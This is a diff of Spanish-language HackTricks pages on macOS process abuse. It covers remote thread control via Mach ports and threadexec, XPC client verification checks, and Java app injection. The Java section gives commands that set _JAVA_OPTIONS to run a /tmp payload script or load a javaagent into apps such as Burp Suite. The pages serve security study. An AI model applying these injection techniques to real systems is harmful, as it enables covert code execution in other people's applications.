triple\_fetch de Ian Beer, `lr` se establece para que se ejecute en un bucle infinito. Los registros del hilo se monitorean continuamente hasta que **`pc` apunta a esa instrucción**. ## 2. Puertos Mach para comunicación La fase siguiente implica establecer puertos Mach para facilitar la comunicación con el hilo remoto. Estos puertos son fundamentales para transferir derechos de envío y recepción arbitrarios entre tareas. -Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes. +Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y el otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes. -Centrándose en el puerto local, el derecho de recepción lo tiene la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto a la tarea remota. +Enfocándose en el puerto local, el derecho de recepción es mantenido por la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto en la tarea remota. -Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto a llamar a `mach_thread_self()` para recuperar el derecho de envío. +Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto para que llame a `mach_thread_self()` para recuperar el derecho de envío. -Para el puerto remoto, el proceso es esencialmente al revés. Se dirige al hilo remoto a generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se guarda en el kernel usando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al puerto Mach recién asignado en la tarea remota. +Para el puerto remoto, el proceso se invierte esencialmente. Se dirige al hilo remoto para generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se almacena en el kernel utilizando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al nuevo puerto Mach asignado en la tarea remota. La finalización de estos pasos resulta en el establecimiento de puertos Mach, sentando las bases para la comunicación bidireccional. -## 3. Primitivas básicas de lectura/escritura de memoria +## 3. Primitivas Básicas de Lectura/Escritura de Memoria -En esta sección, el enfoque se centra en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se actualizarán a versiones más avanzadas. +En esta sección, el enfoque está en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se actualizarán a versiones más avanzadas. -### Lectura y escritura de memoria utilizando la primitiva de ejecución +### Lectura y Escritura de Memoria Usando la Primitiva de Ejecución -El objetivo es realizar la lectura y escritura de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones con una estructura similar a la siguiente: +El objetivo es realizar lecturas y escrituras de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones que se asemejan a la siguiente estructura: ```c uint64_t read_func(uint64_t *address) { return *address; } ``` -Y para escribir en la memoria, se utilizan funciones similares a esta estructura: +Y para escribir en memoria, se utilizan funciones similares a esta estructura: ```c void write_func(uint64_t *address, uint64_t value) { *address = value; } ``` -Estas funciones corresponden a las instrucciones de ensamblaje proporcionadas: +Estas funciones corresponden a las instrucciones de ensamblaje dadas: ``` _read_func: ldr x0, [x0] @@ -71,53 +72,55 @@ _write_func: str x1, [x0] ret ``` -### Identificación de Funciones Adecuadas +### Identifying Suitable Functions Un escaneo de bibliotecas comunes reveló candidatos apropiados para estas operaciones: -1. **Lectura de Memoria:** -La función `property_getName()` de la [biblioteca de tiempo de ejecución Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para la lectura de memoria. La función se describe a continuación: +1. **Reading Memory:** +La función `property_getName()` de la [biblioteca de tiempo de ejecución de Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) se identifica como una función adecuada para leer memoria. La función se describe a continuación: ```c const char *property_getName(objc_property_t prop) { return prop->name; } ``` -Este función actúa efectivamente como la `read_func` al devolver el primer campo de `objc_property_t`. +Esta función actúa efectivamente como el `read_func` al devolver el primer campo de `objc_property_t`. -2. **Escribiendo en la memoria:** -Encontrar una función preconstruida para escribir en la memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado: +2. **Escritura de Memoria:** +Encontrar una función preconstruida para escribir en memoria es más desafiante. Sin embargo, la función `_xpc_int64_set_value()` de libxpc es un candidato adecuado con el siguiente desensamblado: ```c __xpc_int64_set_value: str x1, [x0, #0x18] ret ``` -Para realizar una escritura de 64 bits en una dirección específica, la llamada remota está estructurada de la siguiente manera: +Para realizar una escritura de 64 bits en una dirección específica, la llamada remota se estructura de la siguiente manera: ```c _xpc_int64_set_value(address - 0x18, value) ``` +Con estas primitivas establecidas, se sienta la base para crear memoria compartida, marcando un progreso significativo en el control del proceso remoto. + ## 4. Configuración de Memoria Compartida -El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada de funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, el cual se basa en entradas de memoria Mach. +El objetivo es establecer memoria compartida entre tareas locales y remotas, simplificando la transferencia de datos y facilitando la llamada a funciones con múltiples argumentos. El enfoque implica aprovechar `libxpc` y su tipo de objeto `OS_xpc_shmem`, que se basa en entradas de memoria Mach. ### Resumen del Proceso: 1. **Asignación de Memoria**: -- Asignar la memoria para compartir utilizando `mach_vm_allocate()`. -- Utilizar `xpc_shmem_create()` para crear un objeto `OS_xpc_shmem` para la región de memoria asignada. Esta función gestionará la creación de la entrada de memoria Mach y almacenará el derecho de envío Mach en el desplazamiento `0x18` del objeto `OS_xpc_shmem`. +- Asigne la memoria para compartir utilizando `mach_vm_allocate()`. +- Use `xpc_shmem_create()` para crear un objeto `OS_xpc_shmem` para la región de memoria asignada. Esta función gestionará la creación de la entrada de memoria Mach y almacenará el derecho de envío Mach en el desplazamiento `0x18` del objeto `OS_xpc_shmem`. -2. **Creación de Memoria Compartida en el Proceso Remoto**: -- Asignar memoria para el objeto `OS_xpc_shmem` en el proceso remoto con una llamada remota a `malloc()`. -- Copiar el contenido del objeto `OS_xpc_shmem` local al proceso remoto. Sin embargo, esta copia inicial tendrá nombres incorrectos de entradas de memoria Mach en el desplazamiento `0x18`. +2. **Creando Memoria Compartida en el Proceso Remoto**: +- Asigne memoria para el objeto `OS_xpc_shmem` en el proceso remoto con una llamada remota a `malloc()`. +- Copie el contenido del objeto local `OS_xpc_shmem` al proceso remoto. Sin embargo, esta copia inicial tendrá nombres de entrada de memoria Mach incorrectos en el desplazamiento `0x18`. -3. **Corrección de la Entrada de Memoria Mach**: -- Utilizar el método `thread_set_special_port()` para insertar un derecho de envío para la entrada de memoria Mach en la tarea remota. -- Corregir el campo de entrada de memoria Mach en el desplazamiento `0x18` sobrescribiéndolo con el nombre de la entrada de memoria remota. +3. **Corrigiendo la Entrada de Memoria Mach**: +- Utilice el método `thread_set_special_port()` para insertar un derecho de envío para la entrada de memoria Mach en la tarea remota. +- Corrija el campo de entrada de memoria Mach en el desplazamiento `0x18` sobrescribiéndolo con el nombre de la entrada de memoria remota. -4. **Finalización de la Configuración de Memoria Compartida**: -- Validar el objeto `OS_xpc_shmem` remoto. -- Establecer el mapeo de memoria compartida con una llamada remota a `xpc_shmem_remote()`. +4. **Finalizando la Configuración de Memoria Compartida**: +- Valide el objeto remoto `OS_xpc_shmem`. +- Establezca el mapeo de memoria compartida con una llamada remota a `xpc_shmem_remote()`. -Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará eficientemente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieren múltiples argumentos. +Siguiendo estos pasos, la memoria compartida entre las tareas locales y remotas se configurará de manera eficiente, permitiendo transferencias de datos sencillas y la ejecución de funciones que requieren múltiples argumentos. ## Fragmentos de Código Adicionales @@ -131,31 +134,48 @@ Para crear y corregir el objeto de memoria compartida en el proceso remoto: malloc(); // for allocating memory remotely thread_set_special_port(); // for inserting send right ``` +Recuerde manejar correctamente los detalles de los puertos Mach y los nombres de las entradas de memoria para garantizar que la configuración de memoria compartida funcione correctamente. + ## 5. Logrando Control Total -Al establecer correctamente la memoria compartida y obtener capacidades de ejecución arbitrarias, hemos logrado control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son: +Al establecer con éxito la memoria compartida y obtener capacidades de ejecución arbitraria, hemos ganado esencialmente control total sobre el proceso objetivo. Las funcionalidades clave que permiten este control son: 1. **Operaciones de Memoria Arbitrarias**: - - Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos desde la región compartida. - - Ejecutar escrituras de memoria arbitrarias utilizando `memcpy()` para transferir datos a la región compartida. +- Realizar lecturas de memoria arbitrarias invocando `memcpy()` para copiar datos de la región compartida. +- Ejecutar escrituras de memoria arbitrarias utilizando `memcpy()` para transferir datos a la región compartida. 2. **Manejo de Llamadas a Funciones con Múltiples Argumentos**: - - Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamada. +- Para funciones que requieren más de 8 argumentos, organizar los argumentos adicionales en la pila de acuerdo con la convención de llamada. 3. **Transferencia de Puertos Mach**: - - Transferir puertos Mach entre tareas a través de mensajes Mach mediante los puertos previamente establecidos. +- Transferir puertos Mach entre tareas a través de mensajes Mach mediante puertos previamente establecidos. 4. **Transferencia de Descriptores de Archivo**: - - Transferir descriptores de archivo entre procesos utilizando fileports, una técnica destacada por Ian Beer en `triple_fetch`. +- Transferir descriptores de archivo entre procesos utilizando fileports, una técnica destacada por Ian Beer en `triple_fetch`. Este control integral está encapsulado dentro de la biblioteca [threadexec](https://github.com/bazad/threadexec), que proporciona una implementación detallada y una API fácil de usar para interactuar con el proceso víctima. ## Consideraciones Importantes: -- Asegurar el uso adecuado de `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos. -- Al transferir puertos Mach o descriptores de archivo, seguir protocolos adecuados y manejar los recursos de manera responsable para evitar fugas o accesos no deseados. +- Asegúrese de utilizar correctamente `memcpy()` para operaciones de lectura/escritura de memoria para mantener la estabilidad del sistema y la integridad de los datos. +- Al transferir puertos Mach o descriptores de archivo, siga los protocolos adecuados y maneje los recursos de manera responsable para prevenir leaks o accesos no intencionados. -Al adherirse a estas pautas y utilizar la biblioteca `threadexec`, uno puede gestionar e interactuar eficientemente con procesos a un nivel granular, logrando control total sobre el proceso objetivo. +Al adherirse a estas pautas y utilizar la biblioteca `threadexec`, uno puede gestionar e interactuar eficientemente con los procesos a un nivel granular, logrando control total sobre el proceso objetivo. ## Referencias * [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 4692fce03..966bb5dbe 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,40 +1,41 @@ -# Verificación del Proceso de Conexión en macOS XPC +# macOS XPC Connecting Process Check + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Verificación del Proceso de Conexión en XPC +## XPC Connecting Process Check -Cuando se establece una conexión con un servicio XPC, el servidor verificará si la conexión está permitida. Estas son las comprobaciones que normalmente realizará: +Cuando se establece una conexión a un servicio XPC, el servidor verificará si la conexión está permitida. Estas son las verificaciones que normalmente realizaría: -1. Verificar si el **proceso de conexión está firmado con un certificado firmado por Apple** (solo otorgado por Apple). - * Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra comprobación. -2. Verificar si el proceso de conexión está firmado con el **certificado de la organización**, (verificación del ID del equipo). - * Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple se puede usar para firmar y conectarse al servicio. -3. Verificar si el proceso de conexión **contiene un ID de paquete adecuado**. - * Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría usarse para interactuar con el servicio XPC. -4. (4 o 5) Verificar si el proceso de conexión tiene un **número de versión de software adecuado**. - * Si esto **no se verifica**, clientes antiguos e inseguros, vulnerables a la inyección de procesos, podrían usarse para conectarse al servicio XPC incluso con las otras comprobaciones en su lugar. -5. (4 o 5) Verificar si el proceso de conexión tiene un tiempo de ejecución reforzado sin permisos peligrosos (como los que permiten cargar bibliotecas arbitrarias o usar variables de entorno DYLD) - * Si esto **no se verifica**, el cliente podría ser **vulnerable a la inyección de código** -6. Verificar si el proceso de conexión tiene un **permiso** que le permite conectarse al servicio. Esto es aplicable para binarios de Apple. -7. La **verificación** debe **basarse** en el **token de auditoría del cliente** que se conecta **en lugar** de su ID de proceso (**PID**), ya que el primero previene **ataques de reutilización de PID**. - * Los desarrolladores **raramente usan la llamada a la API del token de auditoría** ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de Mac App Store. - * Si se utiliza el método **`processIdentifier`**, podría ser vulnerable - * En lugar de **`xpc_connection_get_audit_token`**, se debería usar **`xpc_dictionary_get_audit_token`**, ya que el último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). +1. Verificar si el **proceso que se conecta está firmado con un certificado firmado por Apple** (solo otorgado por Apple). +* Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra verificación. +2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID del equipo). +* Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple puede ser utilizado para firmar y conectarse al servicio. +3. Verificar si el proceso que se conecta **contiene un ID de paquete adecuado**. +* Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría ser utilizada para interactuar con el servicio XPC. +4. (4 o 5) Verificar si el proceso que se conecta tiene un **número de versión de software adecuado**. +* Si esto **no se verifica**, se podría utilizar un cliente antiguo e inseguro, vulnerable a la inyección de procesos, para conectarse al servicio XPC incluso con las otras verificaciones en su lugar. +5. (4 o 5) Verificar si el proceso que se conecta tiene un runtime endurecido sin derechos peligrosos (como los que permiten cargar bibliotecas arbitrarias o usar variables de entorno DYLD). +* Si esto **no se verifica**, el cliente podría ser **vulnerable a la inyección de código**. +6. Verificar si el proceso que se conecta tiene un **derecho** que le permite conectarse al servicio. Esto es aplicable para binarios de Apple. +7. La **verificación** debe basarse en el **token de auditoría del cliente que se conecta** **en lugar** de su ID de proceso (**PID**) ya que el primero previene **ataques de reutilización de PID**. +* Los desarrolladores **raramente utilizan la llamada a la API del token de auditoría** ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de la Mac App Store. +* Si se utiliza el método **`processIdentifier`**, podría ser vulnerable. +* **`xpc_dictionary_get_audit_token`** debería ser utilizado en lugar de **`xpc_connection_get_audit_token`**, ya que el último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). -### Ataques de Comunicación +### Communication Attacks Para más información sobre el ataque de reutilización de PID, consulta: @@ -48,11 +49,11 @@ Para más información sobre el ataque **`xpc_connection_get_audit_token`**, con [macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md) {% endcontent-ref %} -### Trustcache - Prevención de Ataques de Degradación +### Trustcache - Downgrade Attacks Prevention -Trustcache es un método defensivo introducido en las máquinas de Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple para que solo se puedan ejecutar binarios no modificados y permitidos. Esto previene la ejecución de versiones anteriores. +Trustcache es un método defensivo introducido en máquinas Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple para que solo se puedan ejecutar binarios no modificados permitidos. Lo que previene la ejecución de versiones degradadas. -### Ejemplos de Código +### Code Examples El servidor implementará esta **verificación** en una función llamada **`shouldAcceptNewConnection`**. @@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString) ``` {% endcode %} -Si un desarrollador no desea verificar la versión del cliente, podría al menos asegurarse de que el cliente no sea vulnerable a la inyección de procesos: +Si un desarrollador no quiere verificar la versión del cliente, podría comprobar que el cliente no es vulnerable a la inyección de procesos al menos: {% code overflow="wrap" %} ```objectivec @@ -108,16 +109,19 @@ if ((csFlags & (cs_hard | cs_require_lv)) { return Yes; // Accept connection } ``` +{% endcode %} + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Apoya a HackTricks -Otras formas de apoyar a HackTricks: - -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index 3c3015e6e..1dc101911 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# Inyección de Aplicaciones Java en macOS +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Otras formas de apoyar a HackTricks: - -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## Enumeración -Encuentra aplicaciones Java instaladas en tu sistema. Se observó que las aplicaciones Java en el archivo **Info.plist** contendrán algunos parámetros de Java que contienen la cadena **`java.`**, por lo que puedes buscar eso: +Encuentra aplicaciones Java instaladas en tu sistema. Se notó que las aplicaciones Java en el **Info.plist** contendrán algunos parámetros de java que contienen la cadena **`java.`**, así que puedes buscar eso: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,7 +27,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -La variable de entorno **`_JAVA_OPTIONS`** se puede utilizar para inyectar parámetros java arbitrarios en la ejecución de una aplicación compilada en Java: +La variable de entorno **`_JAVA_OPTIONS`** se puede utilizar para inyectar parámetros java arbitrarios en la ejecución de una aplicación compilada en java: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Sin embargo, esto provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de Java y usar: +Sin embargo, eso provocará un error en la aplicación ejecutada, otra forma más sigilosa es crear un agente de Java y usar: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,12 +96,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Crear el agente con una **versión diferente de Java** a la de la aplicación puede provocar que se bloquee la ejecución tanto del agente como de la aplicación +Crear el agente con una **versión de Java diferente** de la aplicación puede hacer que tanto el agente como la aplicación se bloqueen. {% endhint %} Donde el agente puede ser: -{% code title="Agente.java" %} +{% code title="Agent.java" %} ```java import java.io.*; import java.lang.instrument.*; @@ -131,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -Y luego exporta la variable de entorno y ejecuta la aplicación Java de la siguiente manera: +Y luego exporta la variable de entorno y ejecuta la aplicación java así: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -140,14 +141,14 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` -## Archivo vmoptions +## archivo vmoptions -Este archivo admite la especificación de **parámetros de Java** cuando se ejecuta Java. Puedes usar algunos de los trucos anteriores para cambiar los parámetros de Java y **hacer que el proceso ejecute comandos arbitrarios**.\ +Este archivo admite la especificación de **parámetros de Java** cuando se ejecuta Java. Podrías usar algunos de los trucos anteriores para cambiar los parámetros de Java y **hacer que el proceso ejecute comandos arbitrarios**.\ Además, este archivo también puede **incluir otros** con el directorio `include`, por lo que también podrías cambiar un archivo incluido. -Incluso, algunas aplicaciones Java cargarán **más de un archivo `vmoptions`**. +Aún más, algunas aplicaciones de Java **cargarán más de un archivo `vmoptions`**. -Algunas aplicaciones como Android Studio indican en su **salida dónde están buscando** estos archivos, por ejemplo: +Algunas aplicaciones como Android Studio indican en su **salida dónde están buscando** estos archivos, como: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Es interesante notar que en este ejemplo Android Studio está intentando cargar el archivo **`/Applications/Android Studio.app.vmoptions`**, un lugar donde cualquier usuario del grupo **`admin` tiene acceso de escritura.** +Note cómo es interesante que Android Studio en este ejemplo está intentando cargar el archivo **`/Applications/Android Studio.app.vmoptions`**, un lugar donde cualquier usuario del **`admin` group tiene acceso de escritura.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 074d11203..f6c755046 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ # macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
